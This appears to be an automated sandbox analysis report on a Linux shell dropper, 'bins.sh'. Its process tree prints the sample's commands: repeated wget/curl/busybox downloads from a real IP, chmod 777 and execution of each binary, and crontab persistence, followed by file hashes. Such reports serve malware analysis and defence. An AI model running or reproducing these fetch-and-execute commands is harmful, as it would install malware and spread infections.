Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/11/2024, 03:36

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    cd0626c90d5b47a6ce5eb6f42ffca214

  • SHA1

    cb84412f073e780cfdb5dcfcdba11f9c7fde9e0a

  • SHA256

    01b083f3a3bfa8feee984c83cb4f33526298df0f0e7fd2d1b339114c80ce0ca9

  • SHA512

    8057fed2d3a40d66d63406782fa34020627f4754e4bdb4a4641f869ccbf5d9e2f8568791a9c9db4b6d5c24617a9f75e48a666e78bda34ed37a4c164593b6ca0b

  • SSDEEP

    192:FZ5dN2u2iicj/auztWWz75dN2uuiicj/OR+V:FZ5dN2u+uztWM75dN2uSRU

Malware Config

Signatures

  • Contacts a large (1763) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 9 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:639
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:643
        • /usr/bin/wget
          wget http://216.126.231.240/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:648
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:668
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:671
        • /bin/chmod
          chmod 777 jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • File and Directory Permissions Modification
          PID:672
        • /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          ./jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Executes dropped EXE
          PID:673
        • /bin/rm
          rm jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
            PID:675
          • /usr/bin/wget
            wget http://216.126.231.240/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:676
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:679
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:687
          • /bin/chmod
            chmod 777 vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • File and Directory Permissions Modification
            PID:692
          • /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            ./vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Executes dropped EXE
            PID:693
          • /bin/rm
            rm vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
              PID:696
            • /usr/bin/wget
              wget http://216.126.231.240/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:697
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:707
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:717
            • /bin/chmod
              chmod 777 vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • File and Directory Permissions Modification
              PID:721
            • /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              ./vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Executes dropped EXE
              PID:723
            • /bin/rm
              rm vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
                PID:728
              • /usr/bin/wget
                wget http://216.126.231.240/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:729
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:737
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:738
              • /bin/chmod
                chmod 777 I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • File and Directory Permissions Modification
                PID:741
              • /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                ./I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Executes dropped EXE
                PID:742
              • /bin/rm
                rm I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                  PID:745
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Writes file to tmp directory
                  PID:747
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:757
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Writes file to tmp directory
                  PID:768
                • /bin/chmod
                  chmod 777 MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • File and Directory Permissions Modification
                  PID:773
                • /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  ./MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Executes dropped EXE
                  PID:774
                • /bin/rm
                  rm MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                    PID:777
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Writes file to tmp directory
                    PID:778
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:782
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Writes file to tmp directory
                    PID:784
                  • /bin/chmod
                    chmod 777 zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • File and Directory Permissions Modification
                    PID:785
                  • /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    ./zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Executes dropped EXE
                    PID:786
                  • /bin/rm
                    rm zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                      PID:788
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Writes file to tmp directory
                      PID:789
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:790
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Writes file to tmp directory
                      PID:791
                    • /bin/chmod
                      chmod 777 ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • File and Directory Permissions Modification
                      PID:792
                    • /tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      ./ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Executes dropped EXE
                      PID:793
                    • /bin/rm
                      rm ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                        PID:795
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                        2⤵
                        • Writes file to tmp directory
                        PID:796
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:797
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                        2⤵
                        • Writes file to tmp directory
                        PID:798
                      • /bin/chmod
                        chmod 777 YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                        2⤵
                        • File and Directory Permissions Modification
                        PID:799
                      • /tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                        ./YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                        2⤵
                        • Executes dropped EXE
                        PID:800
                      • /bin/rm
                        rm YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                        2⤵
                          PID:802
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
                          2⤵
                          • Writes file to tmp directory
                          PID:803
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:804
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
                          2⤵
                          • Writes file to tmp directory
                          PID:805
                        • /bin/chmod
                          chmod 777 Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
                          2⤵
                          • File and Directory Permissions Modification
                          PID:806
                        • /tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
                          ./Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:807
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:809
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:810
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:811
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:812
                              • /bin/rm
                                rm Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
                                2⤵
                                  PID:814
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
                                  2⤵
                                    PID:817

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY

                                  Filesize

                                  111KB

                                  MD5

                                  701e7a55a4f3650f5feee92a9860e5fc

                                  SHA1

                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                  SHA256

                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                  SHA512

                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                • /tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /var/spool/cron/crontabs/tmp.YA4ZRR

                                  Filesize

                                  210B

                                  MD5

                                  59d5aba216d255746ebb4f8cb107310e

                                  SHA1

                                  4d4b77220c8ae7ddff3b9a2f3129519ec43bb28d

                                  SHA256

                                  8f1d4bee0748ed88ff8f9773eefb4590d9287382d5d6556f65824b262b1aacd1

                                  SHA512

                                  4ff5b6bb88db0a91072a6a8f3a128f14fc5fc6391907d900172a3bc8a8be8c2d9b77486050230fba83d1be7e9555166248c8bd15c0c06aa95c28ee6a375ec4fc